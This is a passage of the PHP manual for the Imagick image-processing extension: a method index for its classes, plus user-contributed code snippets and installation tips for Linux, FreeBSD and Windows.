    • Imagick::getImageCompressionQuality — Gets the current image's compression quality
    • Imagick::getImageDelay — Gets the image delay
    • Imagick::getImageDepth — Gets the image depth
    • Imagick::getImageDispose — Gets the image disposal method
    • Imagick::getImageDistortion — Compares an image to a reconstructed image
    • Imagick::getImageExtrema — Gets the extrema for the image
    • Imagick::getImageFilename — Returns the filename of a particular image in a sequence
    • Imagick::getImageFormat — Returns the format of a particular image in a sequence
    • Imagick::getImageGamma — Gets the image gamma
    • Imagick::getImageGeometry — Gets the width and height as an associative array
    • Imagick::getImageGravity — Gets the image gravity
    • Imagick::getImageGreenPrimary — Returns the chromaticy green primary point
    • Imagick::getImageHeight — Returns the image height
    • Imagick::getImageHistogram — Gets the image histogram
    • Imagick::getImageIndex — Gets the index of the current active image
    • Imagick::getImageInterlaceScheme — Gets the image interlace scheme
    • Imagick::getImageInterpolateMethod — Returns the interpolation method
    • Imagick::getImageIterations — Gets the image iterations
    • Imagick::getImageLength — Returns the image length in bytes
    • Imagick::getImageMagickLicense — Returns a string containing the ImageMagick license
    • Imagick::getImageMatte — Return if the image has a matte channel
    • Imagick::getImageMatteColor — Returns the image matte color
    • Imagick::getImageOrientation — Gets the image orientation
    • Imagick::getImagePage — Returns the page geometry
    • Imagick::getImagePixelColor — Returns the color of the specified pixel
    • Imagick::getImageProfile — Returns the named image profile
    • Imagick::getImageProfiles — Returns the image profiles
    • Imagick::getImageProperties — Returns the image properties
    • Imagick::getImageProperty — Returns the named image property
    • Imagick::getImageRedPrimary — Returns the chromaticity red primary point
    • Imagick::getImageRegion — Extracts a region of the image
    • Imagick::getImageRenderingIntent — Gets the image rendering intent
    • Imagick::getImageResolution — Gets the image X and Y resolution
    • Imagick::getImagesBlob — Returns all image sequences as a blob
    • Imagick::getImageScene — Gets the image scene
    • Imagick::getImageSignature — Generates an SHA-256 message digest
    • Imagick::getImageSize — Returns the image length in bytes
    • Imagick::getImageTicksPerSecond — Gets the image ticks-per-second
    • Imagick::getImageTotalInkDensity — Gets the image total ink density
    • Imagick::getImageType — Gets the potential image type
    • Imagick::getImageUnits — Gets the image units of resolution
    • Imagick::getImageVirtualPixelMethod — Returns the virtual pixel method
    • Imagick::getImageWhitePoint — Returns the chromaticity white point
    • Imagick::getImageWidth — Returns the image width
    • Imagick::getInterlaceScheme — Gets the object interlace scheme
    • Imagick::getIteratorIndex — Gets the index of the current active image
    • Imagick::getNumberImages — Returns the number of images in the object
    • Imagick::getOption — Returns a value associated with the specified key
    • Imagick::getPackageName — Returns the ImageMagick package name
    • Imagick::getPage — Returns the page geometry
    • Imagick::getPixelIterator — Returns a MagickPixelIterator
    • Imagick::getPixelRegionIterator — Get an ImagickPixelIterator for an image section
    • Imagick::getPointSize — Gets point size
    • Imagick::getQuantumDepth — Gets the quantum depth
    • Imagick::getQuantumRange — Returns the Imagick quantum range
    • Imagick::getReleaseDate — Returns the ImageMagick release date
    • Imagick::getResource — Returns the specified resource's memory usage
    • Imagick::getResourceLimit — Returns the specified resource limit
    • Imagick::getSamplingFactors — Gets the horizontal and vertical sampling factor
    • Imagick::getSize — Returns the size associated with the Imagick object
    • Imagick::getSizeOffset — Returns the size offset
    • Imagick::getVersion — Returns the ImageMagick API version
    • Imagick::haldClutImage — Replaces colors in the image
    • Imagick::hasNextImage — Checks if the object has more images
    • Imagick::hasPreviousImage — Checks if the object has a previous image
    • Imagick::identifyImage — Identifies an image and fetches attributes
    • Imagick::implodeImage — Creates a new image as a copy
    • Imagick::importImagePixels — Imports image pixels
    • Imagick::labelImage — Adds a label to an image
    • Imagick::levelImage — Adjusts the levels of an image
    • Imagick::linearStretchImage — Stretches with saturation the image intensity
    • Imagick::liquidRescaleImage — Animates an image or images
    • Imagick::magnifyImage — Scales an image proportionally 2x
    • Imagick::mapImage — Replaces the colors of an image with the closest color from a reference image.
    • Imagick::matteFloodfillImage — Changes the transparency value of a color
    • Imagick::medianFilterImage — Applies a digital filter
    • Imagick::mergeImageLayers — Merges image layers
    • Imagick::minifyImage — Scales an image proportionally to half its size
    • Imagick::modulateImage — Control the brightness, saturation, and hue
    • Imagick::montageImage — Creates a composite image
    • Imagick::morphImages — Method morphs a set of images
    • Imagick::mosaicImages — Forms a mosaic from images
    • Imagick::motionBlurImage — Simulates motion blur
    • Imagick::negateImage — Negates the colors in the reference image
    • Imagick::newImage — Creates a new image
    • Imagick::newPseudoImage — Creates a new image
    • Imagick::nextImage — Moves to the next image
    • Imagick::normalizeImage — Enhances the contrast of a color image
    • Imagick::oilPaintImage — Simulates an oil painting
    • Imagick::opaquePaintImage — Changes the color value of any pixel that matches target
    • Imagick::optimizeImageLayers — Removes repeated portions of images to optimize
    • Imagick::orderedPosterizeImage — Performs an ordered dither
    • Imagick::paintFloodfillImage — Changes the color value of any pixel that matches target
    • Imagick::paintOpaqueImage — Change any pixel that matches color
    • Imagick::paintTransparentImage — Changes any pixel that matches color with the color defined by fill
    • Imagick::pingImage — Fetch basic attributes about the image
    • Imagick::pingImageBlob — Quickly fetch attributes
    • Imagick::pingImageFile — Get basic image attributes in a lightweight manner
    • Imagick::polaroidImage — Simulates a Polaroid picture
    • Imagick::posterizeImage — Reduces the image to a limited number of color level
    • Imagick::previewImages — Quickly pin-point appropriate parameters for image processing
    • Imagick::previousImage — Move to the previous image in the object
    • Imagick::profileImage — Adds or removes a profile from an image
    • Imagick::quantizeImage — Analyzes the colors within a reference image
    • Imagick::quantizeImages — Analyzes the colors within a sequence of images
    • Imagick::queryFontMetrics — Returns an array representing the font metrics
    • Imagick::queryFonts — Returns the configured fonts
    • Imagick::queryFormats — Returns formats supported by Imagick
    • Imagick::radialBlurImage — Radial blurs an image
    • Imagick::raiseImage — Creates a simulated 3d button-like effect
    • Imagick::randomThresholdImage — Creates a high-contrast, two-color image
    • Imagick::readImage — Reads image from filename
    • Imagick::readImageBlob — Reads image from a binary string
    • Imagick::readImageFile — Reads image from open filehandle
    • Imagick::recolorImage — Recolors image
    • Imagick::reduceNoiseImage — Smooths the contours of an image
    • Imagick::remapImage — Remaps image colors
    • Imagick::removeImage — Removes an image from the image list
    • Imagick::removeImageProfile — Removes the named image profile and returns it
    • Imagick::render — Renders all preceding drawing commands
    • Imagick::resampleImage — Resample image to desired resolution
    • Imagick::resetImagePage — Reset image page
    • Imagick::resizeImage — Scales an image
    • Imagick::rollImage — Offsets an image
    • Imagick::rotateImage — Rotates an image
    • Imagick::roundCorners — Rounds image corners
    • Imagick::sampleImage — Scales an image with pixel sampling
    • Imagick::scaleImage — Scales the size of an image
    • Imagick::segmentImage — Segments an image
    • Imagick::separateImageChannel — Separates a channel from the image
    • Imagick::sepiaToneImage — Sepia tones an image
    • Imagick::setBackgroundColor — Sets the object's default background color
    • Imagick::setColorspace — Set colorspace
    • Imagick::setCompression — Sets the object's default compression type
    • Imagick::setCompressionQuality — Sets the object's default compression quality
    • Imagick::setFilename — Sets the filename before you read or write the image
    • Imagick::setFirstIterator — Sets the Imagick iterator to the first image
    • Imagick::setFont — Sets font
    • Imagick::setFormat — Sets the format of the Imagick object
    • Imagick::setGravity — Sets the gravity
    • Imagick::setImage — Replaces image in the object
    • Imagick::setImageAlphaChannel — Sets image alpha channel
    • Imagick::setImageArtifact — Set image artifact
    • Imagick::setImageBackgroundColor — Sets the image background color
    • Imagick::setImageBias — Sets the image bias for any method that convolves an image
    • Imagick::setImageBluePrimary — Sets the image chromaticity blue primary point
    • Imagick::setImageBorderColor — Sets the image border color
    • Imagick::setImageChannelDepth — Sets the depth of a particular image channel
    • Imagick::setImageClipMask — Sets image clip mask
    • Imagick::setImageColormapColor — Sets the color of the specified colormap index
    • Imagick::setImageColorspace — Sets the image colorspace
    • Imagick::setImageCompose — Sets the image composite operator
    • Imagick::setImageCompression — Sets the image compression
    • Imagick::setImageCompressionQuality — Sets the image compression quality
    • Imagick::setImageDelay — Sets the image delay
    • Imagick::setImageDepth — Sets the image depth
    • Imagick::setImageDispose — Sets the image disposal method
    • Imagick::setImageExtent — Sets the image size
    • Imagick::setImageFilename — Sets the filename of a particular image
    • Imagick::setImageFormat — Sets the format of a particular image
    • Imagick::setImageGamma — Sets the image gamma
    • Imagick::setImageGravity — Sets the image gravity
    • Imagick::setImageGreenPrimary — Sets the image chromaticity green primary point
    • Imagick::setImageIndex — Set the iterator position
    • Imagick::setImageInterlaceScheme — Sets the image compression
    • Imagick::setImageInterpolateMethod — Sets the image interpolate pixel method
    • Imagick::setImageIterations — Sets the image iterations
    • Imagick::setImageMatte — Sets the image matte channel
    • Imagick::setImageMatteColor — Sets the image matte color
    • Imagick::setImageOpacity — Sets the image opacity level
    • Imagick::setImageOrientation — Sets the image orientation
    • Imagick::setImagePage — Sets the page geometry of the image
    • Imagick::setImageProfile — Adds a named profile to the Imagick object
    • Imagick::setImageProperty — Sets an image property
    • Imagick::setImageRedPrimary — Sets the image chromaticity red primary point
    • Imagick::setImageRenderingIntent — Sets the image rendering intent
    • Imagick::setImageResolution — Sets the image resolution
    • Imagick::setImageScene — Sets the image scene
    • Imagick::setImageTicksPerSecond — Sets the image ticks-per-second
    • Imagick::setImageType — Sets the image type
    • Imagick::setImageUnits — Sets the image units of resolution
    • Imagick::setImageVirtualPixelMethod — Sets the image virtual pixel method
    • Imagick::setImageWhitePoint — Sets the image chromaticity white point
    • Imagick::setInterlaceScheme — Sets the image compression
    • Imagick::setIteratorIndex — Set the iterator position
    • Imagick::setLastIterator — Sets the Imagick iterator to the last image
    • Imagick::setOption — Set an option
    • Imagick::setPage — Sets the page geometry of the Imagick object
    • Imagick::setPointSize — Sets point size
    • Imagick::setResolution — Sets the image resolution
    • Imagick::setResourceLimit — Sets the limit for a particular resource in megabytes
    • Imagick::setSamplingFactors — Sets the image sampling factors
    • Imagick::setSize — Sets the size of the Imagick object
    • Imagick::setSizeOffset — Sets the size and offset of the Imagick object
    • Imagick::setType — Sets the image type attribute
    • Imagick::shadeImage — Creates a 3D effect
    • Imagick::shadowImage — Simulates an image shadow
    • Imagick::sharpenImage — Sharpens an image
    • Imagick::shaveImage — Shaves pixels from the image edges
    • Imagick::shearImage — Creating a parallelogram
    • Imagick::sigmoidalContrastImage — Adjusts the contrast of an image
    • Imagick::sketchImage — Simulates a pencil sketch
    • Imagick::solarizeImage — Applies a solarizing effect to the image
    • Imagick::sparseColorImage — Interpolates colors
    • Imagick::spliceImage — Splices a solid color into the image
    • Imagick::spreadImage — Randomly displaces each pixel in a block
    • Imagick::steganoImage — Hides a digital watermark within the image
    • Imagick::stereoImage — Composites two images
    • Imagick::stripImage — Strips an image of all profiles and comments
    • Imagick::swirlImage — Swirls the pixels about the center of the image
    • Imagick::textureImage — Repeatedly tiles the texture image
    • Imagick::thresholdImage — Changes the value of individual pixels based on a threshold
    • Imagick::thumbnailImage — Changes the size of an image
    • Imagick::tintImage — Applies a color vector to each pixel in the image
    • Imagick::transformImage — Convenience method for setting crop size and the image geometry
    • Imagick::transparentPaintImage — Paints pixels transparent
    • Imagick::transposeImage — Creates a vertical mirror image
    • Imagick::transverseImage — Creates a horizontal mirror image
    • Imagick::trimImage — Remove edges from the image
    • Imagick::uniqueImageColors — Discards all but one of any pixel color
    • Imagick::unsharpMaskImage — Sharpens an image
    • Imagick::valid — Checks if the current item is valid
    • Imagick::vignetteImage — Adds vignette filter to the image
    • Imagick::waveImage — Applies wave filter to the image
    • Imagick::whiteThresholdImage — Force all pixels above the threshold into white
    • Imagick::writeImage — Writes an image to the specified filename
    • Imagick::writeImageFile — Writes an image to a filehandle
    • Imagick::writeImages — Writes an image or image sequence
    • Imagick::writeImagesFile — Writes frames to a filehandle
  • ImagickDraw — The ImagickDraw class
    • ImagickDraw::affine — Adjusts the current affine transformation matrix
    • ImagickDraw::annotation — Draws text on the image
    • ImagickDraw::arc — Draws an arc
    • ImagickDraw::bezier — Draws a bezier curve
    • ImagickDraw::circle — Draws a circle
    • ImagickDraw::clear — Clears the ImagickDraw
    • ImagickDraw::clone — Makes an exact copy of the specified ImagickDraw object
    • ImagickDraw::color — Draws color on image
    • ImagickDraw::comment — Adds a comment
    • ImagickDraw::composite — Composites an image onto the current image
    • ImagickDraw::__construct — The ImagickDraw constructor
    • ImagickDraw::destroy — Frees all associated resources
    • ImagickDraw::ellipse — Draws an ellipse on the image
    • ImagickDraw::getClipPath — Obtains the current clipping path ID
    • ImagickDraw::getClipRule — Returns the current polygon fill rule
    • ImagickDraw::getClipUnits — Returns the interpretation of clip path units
    • ImagickDraw::getFillColor — Returns the fill color
    • ImagickDraw::getFillOpacity — Returns the opacity used when drawing
    • ImagickDraw::getFillRule — Returns the fill rule
    • ImagickDraw::getFont — Returns the font
    • ImagickDraw::getFontFamily — Returns the font family
    • ImagickDraw::getFontSize — Returns the font pointsize
    • ImagickDraw::getFontStyle — Returns the font style
    • ImagickDraw::getFontWeight — Returns the font weight
    • ImagickDraw::getGravity — Returns the text placement gravity
    • ImagickDraw::getStrokeAntialias — Returns the current stroke antialias setting
    • ImagickDraw::getStrokeColor — Returns the color used for stroking object outlines
    • ImagickDraw::getStrokeDashArray — Returns an array representing the pattern of dashes and gaps used to stroke paths
    • ImagickDraw::getStrokeDashOffset — Returns the offset into the dash pattern to start the dash
    • ImagickDraw::getStrokeLineCap — Returns the shape to be used at the end of open subpaths when they are stroked
    • ImagickDraw::getStrokeLineJoin — Returns the shape to be used at the corners of paths when they are stroked
    • ImagickDraw::getStrokeMiterLimit — Returns the stroke miter limit
    • ImagickDraw::getStrokeOpacity — Returns the opacity of stroked object outlines
    • ImagickDraw::getStrokeWidth — Returns the width of the stroke used to draw object outlines
    • ImagickDraw::getTextAlignment — Returns the text alignment
    • ImagickDraw::getTextAntialias — Returns the current text antialias setting
    • ImagickDraw::getTextDecoration — Returns the text decoration
    • ImagickDraw::getTextEncoding — Returns the code set used for text annotations
    • ImagickDraw::getTextUnderColor — Returns the text under color
    • ImagickDraw::getVectorGraphics — Returns a string containing vector graphics
    • ImagickDraw::line — Draws a line
    • ImagickDraw::matte — Paints on the image's opacity channel
    • ImagickDraw::pathClose — Adds a path element to the current path
    • ImagickDraw::pathCurveToAbsolute — Draws a cubic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierAbsolute — Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierRelative — Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — Draws a quadratic Bezier curve
    • ImagickDraw::pathCurveToRelative — Draws a cubic Bezier curve
    • ImagickDraw::pathCurveToSmoothAbsolute — Draws a cubic Bezier curve
    • ImagickDraw::pathCurveToSmoothRelative — Draws a cubic Bezier curve
    • ImagickDraw::pathEllipticArcAbsolute — Draws an elliptical arc
    • ImagickDraw::pathEllipticArcRelative — Draws an elliptical arc
    • ImagickDraw::pathFinish — Terminates the current path
    • ImagickDraw::pathLineToAbsolute — Draws a line path
    • ImagickDraw::pathLineToHorizontalAbsolute — Draws a horizontal line path
    • ImagickDraw::pathLineToHorizontalRelative — Draws a horizontal line
    • ImagickDraw::pathLineToRelative — Draws a line path
    • ImagickDraw::pathLineToVerticalAbsolute — Draws a vertical line
    • ImagickDraw::pathLineToVerticalRelative — Draws a vertical line path
    • ImagickDraw::pathMoveToAbsolute — Starts a new sub-path
    • ImagickDraw::pathMoveToRelative — Starts a new sub-path
    • ImagickDraw::pathStart — Declares the start of a path drawing list
    • ImagickDraw::point — Draws a point
    • ImagickDraw::polygon — Draws a polygon
    • ImagickDraw::polyline — Draws a polyline
    • ImagickDraw::pop — Destroys the current ImagickDraw in the stack, and returns to the previously pushed ImagickDraw
    • ImagickDraw::popClipPath — Terminates a clip path definition
    • ImagickDraw::popDefs — Terminates a definition list
    • ImagickDraw::popPattern — Terminates a pattern definition
    • ImagickDraw::push — Clones the current ImagickDraw and pushes it to the stack
    • ImagickDraw::pushClipPath — Starts a clip path definition
    • ImagickDraw::pushDefs — Indicates that following commands create named elements for early processing
    • ImagickDraw::pushPattern — Indicates that subsequent commands up to a ImagickDraw::opPattern() command comprise the definition of a named pattern
    • ImagickDraw::rectangle — Draws a rectangle
    • ImagickDraw::render — Renders all preceding drawing commands onto the image
    • ImagickDraw::rotate — Applies the specified rotation to the current coordinate space
    • ImagickDraw::roundRectangle — Draws a rounded rectangle
    • ImagickDraw::scale — Adjusts the scaling factor
    • ImagickDraw::setClipPath — Associates a named clipping path with the image
    • ImagickDraw::setClipRule — Set the polygon fill rule to be used by the clipping path
    • ImagickDraw::setClipUnits — Sets the interpretation of clip path units
    • ImagickDraw::setFillAlpha — Sets the opacity to use when drawing using the fill color or fill texture
    • ImagickDraw::setFillColor — Sets the fill color to be used for drawing filled objects
    • ImagickDraw::setFillOpacity — Sets the opacity to use when drawing using the fill color or fill texture
    • ImagickDraw::setFillPatternURL — Sets the URL to use as a fill pattern for filling objects
    • ImagickDraw::setFillRule — Sets the fill rule to use while drawing polygons
    • ImagickDraw::setFont — Sets the fully-specified font to use when annotating with text
    • ImagickDraw::setFontFamily — Sets the font family to use when annotating with text
    • ImagickDraw::setFontSize — Sets the font pointsize to use when annotating with text
    • ImagickDraw::setFontStretch — Sets the font stretch to use when annotating with text
    • ImagickDraw::setFontStyle — Sets the font style to use when annotating with text
    • ImagickDraw::setFontWeight — Sets the font weight
    • ImagickDraw::setGravity — Sets the text placement gravity
    • ImagickDraw::setStrokeAlpha — Specifies the opacity of stroked object outlines
    • ImagickDraw::setStrokeAntialias — Controls whether stroked outlines are antialiased
    • ImagickDraw::setStrokeColor — Sets the color used for stroking object outlines
    • ImagickDraw::setStrokeDashArray — Specifies the pattern of dashes and gaps used to stroke paths
    • ImagickDraw::setStrokeDashOffset — Specifies the offset into the dash pattern to start the dash
    • ImagickDraw::setStrokeLineCap — Specifies the shape to be used at the end of open subpaths when they are stroked
    • ImagickDraw::setStrokeLineJoin — Specifies the shape to be used at the corners of paths when they are stroked
    • ImagickDraw::setStrokeMiterLimit — Specifies the miter limit
    • ImagickDraw::setStrokeOpacity — Specifies the opacity of stroked object outlines
    • ImagickDraw::setStrokePatternURL — Sets the pattern used for stroking object outlines
    • ImagickDraw::setStrokeWidth — Sets the width of the stroke used to draw object outlines
    • ImagickDraw::setTextAlignment — Specifies a text alignment
    • ImagickDraw::setTextAntialias — Controls whether text is antialiased
    • ImagickDraw::setTextDecoration — Specifies a decoration
    • ImagickDraw::setTextEncoding — Specifies the text code set
    • ImagickDraw::setTextUnderColor — Specifies the color of a background rectangle
    • ImagickDraw::setVectorGraphics — Sets the vector graphics
    • ImagickDraw::setViewbox — Sets the overall canvas size
    • ImagickDraw::skewX — Skews the current coordinate system in the horizontal direction
    • ImagickDraw::skewY — Skews the current coordinate system in the vertical direction
    • ImagickDraw::translate — Applies a translation to the current coordinate system
  • ImagickPixel — The ImagickPixel class
    • ImagickPixel::clear — Clears resources associated with this object
    • ImagickPixel::__construct — The ImagickPixel constructor
    • ImagickPixel::destroy — Deallocates resources associated with this object
    • ImagickPixel::getColor — Returns the color
    • ImagickPixel::getColorAsString — Returns the color as a string
    • ImagickPixel::getColorCount — Returns the color count associated with this color
    • ImagickPixel::getColorValue — Gets the normalized value of the provided color channel
    • ImagickPixel::getHSL — Returns the normalized HSL color of the ImagickPixel object
    • ImagickPixel::isPixelSimilar — Check the distance between this color and another
    • ImagickPixel::isSimilar — Check the distance between this color and another
    • ImagickPixel::setColor — Sets the color
    • ImagickPixel::setColorValue — Sets the normalized value of one of the channels
    • ImagickPixel::setHSL — Sets the normalized HSL color
  • ImagickPixelIterator — The ImagickPixelIterator class
    • ImagickPixelIterator::clear — Clear resources associated with a PixelIterator
    • ImagickPixelIterator::__construct — The ImagickPixelIterator constructor
    • ImagickPixelIterator::destroy — Deallocates resources associated with a PixelIterator
    • ImagickPixelIterator::getCurrentIteratorRow — Returns the current row of ImagickPixel objects
    • ImagickPixelIterator::getIteratorRow — Returns the current pixel iterator row
    • ImagickPixelIterator::getNextIteratorRow — Returns the next row of the pixel iterator
    • ImagickPixelIterator::getPreviousIteratorRow — Returns the previous row
    • ImagickPixelIterator::newPixelIterator — Returns a new pixel iterator
    • ImagickPixelIterator::newPixelRegionIterator — Returns a new pixel iterator
    • ImagickPixelIterator::resetIterator — Resets the pixel iterator
    • ImagickPixelIterator::setIteratorFirstRow — Sets the pixel iterator to the first pixel row
    • ImagickPixelIterator::setIteratorLastRow — Sets the pixel iterator to the last pixel row
    • ImagickPixelIterator::setIteratorRow — Set the pixel iterator row
    • ImagickPixelIterator::syncIterator — Syncs the pixel iterator

User Contributed Notes

carlosvanhalen7 at gmail dot com 07-Mar-2013 04:09
Here's a handy function that finds the first occurrence of a specific pixel. You can set the tolerance of the color you are looking for, or set it to 0 if want an exact match

<?php

function findPixel($img, $r, $g, $b, $tolerance=5)
{
    $original_                 = new Imagick($img);
    $height                    = 0;
    $width                    = 0;
    list($width, $height)    = getimagesize($img);
    $matrix_org                = array();
    $matrix_mrk                = array();

    for( $x = 0 ; $x < $width ; $x++){
        $matrix_org[$x]            = array();
        $matrix_mrk[$x]            = array();
    }

    for( $x = 0 ; $x < $width ; $x++ )
    {
        for( $y = 0 ; $y < $height ; $y++ ){
            $matrix_org[$x][$y]                = $original_->getImagePixelColor($x, $y)->getColorAsString();
            $colors                         = preg_replace('/[^-,0-9+$]/', '', $matrix_org[$x][$y]);
            $colors                            = explode(',', $colors);
            $r_org                            = $colors[0];
            $g_org                            = $colors[1];
            $b_org                            = $colors[2];

            if(     ( $r <= ($r_org+$tolerance) && $r >= ($r_org - $tolerance) )
                &&  ( $g <= ($g_org+$tolerance) && $g >= ($g_org - $tolerance) )
                &&  ( $b <= ($b_org+$tolerance) && $b >= ($b_org - $tolerance) ) )
            {
                return array( $x, $y );
            }
        }
    }

    return false;
}

?>
aem at teletype dot ru 30-Nov-2011 12:09
To configure and build imagick extension with phpize, you must first install libmagickwand-dev and libmagickcore-dev.

For example, "sudo apt-get install libmagickwand-dev libmagickcore-dev" and then phpize and ./configure.
Eero Niemi (eero at eero dot info) 08-Apr-2008 04:06
To load image (usually vector image, like PDF) with larger resolution than image's default is, you have to set resolution before reading the file, like this:

<?php
$im = new Imagick();
$im->setResolution( 300, 300 );
$im->readImage( "test.pdf" );
?>
mlong-php at mlong dot us 24-Oct-2007 10:11
The fit functionality of thumbnailImage doesn't work as one would anticipate. Instead, use this to make a thumbnail that has max of 200x82:

  // Create thumbnail max of 200x82
  $width=$im->getImageWidth();
  if ($width > 200) { $im->thumbnailImage(200,null,0); }

  $height=$im->getImageHeight();
  if ($height > 82) { $im->thumbnailImage(null,82,0); }
mlong-php at mlong dot us 24-Oct-2007 08:46
Here is an example on how to take an image that is already in a string (say, from a database), and resize it, add a border, and print it out. I use this for showing reseller logos

  // Decode image from base64
  $image=base64_decode($imagedata);

  // Create Imagick object
  $im = new Imagick();

  // Convert image into Imagick
  $im->readimageblob($image);

  // Create thumbnail max of 200x82
  $im->thumbnailImage(200,82,true);

  // Add a subtle border
  $color=new ImagickPixel();
  $color->setColor("rgb(220,220,220)");
  $im->borderImage($color,1,1);

  // Output the image
  $output = $im->getimageblob();
  $outputtype = $im->getFormat();

  header("Content-type: $outputtype");
  echo $output;
gmail dot com at james dot ellis 08-Oct-2007 01:41
In case anyone is wondering about some examples for Imagick usage, take a look at Mikko Koppanen's blog at http://valokuva.org/?cat=1.


Introduction

Imagick is a native php extension to create and modify images using the ImageMagick API.

ImageMagick® is a software suite to create, edit, and compose bitmap images.. It can read, convert and write images in a variety of formats (over 100) including DPX, EXR, GIF, JPEG, JPEG-2000, PDF, PhotoCD, PNG, Postscript, SVG, and TIFF.

Copyright 1999-2007 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

JV 10-Aug-2014 01:20
To install on Ubuntu or Debian, using the package manager, use:

sudo apt-get install php5-imagick
sudo service apache2 reload
Martin dot Winstrand (a) gmail dot com 03-Apr-2013 12:19
Sins I tried around a lot and searched the net to find a working dll for ImageMagic and PHP5.4, with bad results I at last found one working.
There is a guy (Mikko) that has a blog and he wrote about this and and have compiled a working solution. You find his blog about this here: http://valokuva.org/?m=201211.

Hope that this helps others as well.
Valera Rozuvan 03-Jun-2012 04:08
Recently I had to install ImageMagick on FreeBSD. The following commands achieved this without a problem.

cd /usr/ports/graphics/ImageMagick-nox11/
make install clean
service apache22 stop
cd /usr/ports/graphics/pecl-imagick/
make install clean
service apache22 start

NOTE: For some of the package dependencies you will be prompted to select optional add-ons. I left all the config options untouched except for those which provided integration with the X11 system. Those once I disabled.
admin at pankajgrover dot co dot cc 19-Oct-2011 09:30
Simple way to install ImageMagick on your linux machine(RHEL5,Cent OS 5)

#yum install ImageMagick*
#pecl install imagick sometimes you may have ask to install gcc compiler. if so execute #yum install gcc*
added the extension on php.ini
#echo "extension=imagick.so" >> /etc/php.ini
#service httpd restart
djcox99 at googlemail dot com 05-Jan-2011 01:48
I have php 5.3.1 running on apache on windows (with xampp)
to get this working i installed the appropriate image magick from here http://imagemagick.org/script/binary-releases.php#windows

Then i needed the php_imagick.dll for vc6 (because im on apache not iis).

After a bit of searching i found someone hosting it here :
http://www.sk89q.com/2010/03/vc6-windows-binaries-for-imagick-2-3-0/

Hope this helps ^^
matija kancijan - kancija[]gmail dot com 01-Sep-2010 11:36
it is important to install correct version of Visual C++ redistributable Package.

for ImageMagick-6.5.8-10-Q16-windows-dll.exe -
Visual C++ 2008 Redistributable Package

http://www.microsoft.com/downloads/details.aspx?FamilyID=9b2da534-3e03-4391-8a4d-074b9f2bc1bf
William Sze 06-Aug-2009 09:47
After 2 hours of looking for help from different documentation & sites, I found out none of them are complete solution.  So, I summary my instruction here:

1) yum install php-devel
2) cd /usr
3) wget http://pear.php.net/go-pear
4) php go-pear
5) See the following line in /etc/php.ini [include_path=".:/usr/PEAR"]
6) pecl install imagick
7) Add the following line in /etc/php.ini [extension=imagick.so]
8) service httpd restart

Hopefully, I can save other engineer effort & time.... Good luck!
acliyanarachchi at gmail dot com 12-Mar-2009 01:11
If you have used lampp first copy imagick.so from /usr/lib/php5/20060613+lfs/imagick.so path and paste it to php lib.(/opt/lampp/lib/php/extensions/no-debug-non-zts-20060613)
Then edit your php.ini and add extension=imagick.so
ynzhang from lakeheadu canada 17-Feb-2009 02:57
imagick 2.2.2 might have a problem loading in PHP 5.3 by giving following error at start-up:

PHP Warning:  PHP Startup: Unable to load dynamic library '.../imagick.so' - .../imagick.so: undefined symbol: XStringListToTextProperty in Unknown on line 0

in this case, revert to PHP 5.2.8 and imagick-2.2.0 will work just fine.
nonproffessional at clockworkgeek dot com 16-Oct-2008 12:09
I too had the error "Please provide a path to MagickWand-config or Wand-config program." when installing on linux (in this case CentOS aka Red Hat).

The simple solution was to ensure "ImageMagick-devel" and NOT "ImageMagick" package was in place. Next comes the standard command:
pecl install imagick

Lastly, and as per the otherwise flawless instructions, edit php.ini to include:
extension=imagick.so
marcel dot ouellette at gmail dot com 02-Sep-2008 07:38
For anyone attempting to install the binaries on windows xp, don't waste your time.  You'll need to install this on windows 2003 Server (and up) or Windows Vista since there are dependences (msvcr80.dll) that will require it.
colnector is from domain colnect.com 13-Jul-2008 02:10
Windows installation is a bit more tricky since "pecl install imagick" does NOT work properly.

Here's how I installed it:
1/ Install ImageMagick software http://www.imagemagick.org/script/binary-releases.php#windows
2/ Download pecl-5.2-dev.zip (choose the version relevant to your PHP) from http://snaps.php.net/
3/ Copy php_imagick.dll from the archive you've downloaded to your PHP extention folder.
4/ Add the following line to php.ini (in the exntentions section):
extension=php_imagick.dll
5/ Restart your server
6/ Try the example script to see all went well

Good luck :)


Requirements

Installation requirements on Windows

Version information does not differ from that above. There are binaries available from http://www.imagemagick.org/ so that you can load this extension on Windows without need for a compiler.

Installation requirements on other platforms

PHP >= 5.1.3 and ImageMagick >= 6.2.4 is required. The amount of formats supported is by Imagick is entirely dependent upon the amount of formats supported by your ImageMagick installation. For example, Imagemagick requires ghostscript to conduct PDF operations.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/imagick.

Note: The official name of this extension is imagick.

Windows users can download prebuilt DLL from the » PECL website.

User Contributed Notes

kmteoh at hotmail dot com 22-Sep-2014 12:28
for PHP 5.3 Windows user who try to install, here is the note where I have spent near 4 hours to get concluded:

- you need NOT LATEST but 6.7.7 imagemagic engine: http://ftp.sunet.se/pub/multimedia/graphics/ImageMagick/binaries/ImageMagick-6.7.7-5-Q16-windows-dll.exe (tips by justinjacob @ http://stackoverflow.com/questions/20440968/installing-php-imagick-dll-php-extension-on-wampserver-2-2)

- http://windows.php.net/downloads/pecl/releases/imagick/3.1.2/ TS version work just fine, make sure you restart apache after install both above, in order.

- if it says 'CORE_RL_WAND' not found, you probably want to move all CORE_* files from /ext folder to one above.
feedback at weknowtoomuch dot com 20-Nov-2013 09:28
I have PHP 5.3.24

I just did that:
 -  Download proper extension version from
    http://windows.php.net/downloads/pecl/releases/imagick/
    I picked 3.1.2 which is the latest non-beta at this time
 -  Unzip and copy php_imagick.dll to PHP ext folder
 -  add
[PHP_IMAGICK]
extension=php_imagick.dll
   to php.ini
 -  Download recommended Imagick version and install from:
    http://imagemagick.org/script/binary-releases.php#windows
   ( I chose to have C headers and also COM objects during installation)
 -  Restart apache
 -  Check phpinfo() for Imagick section... there it is!

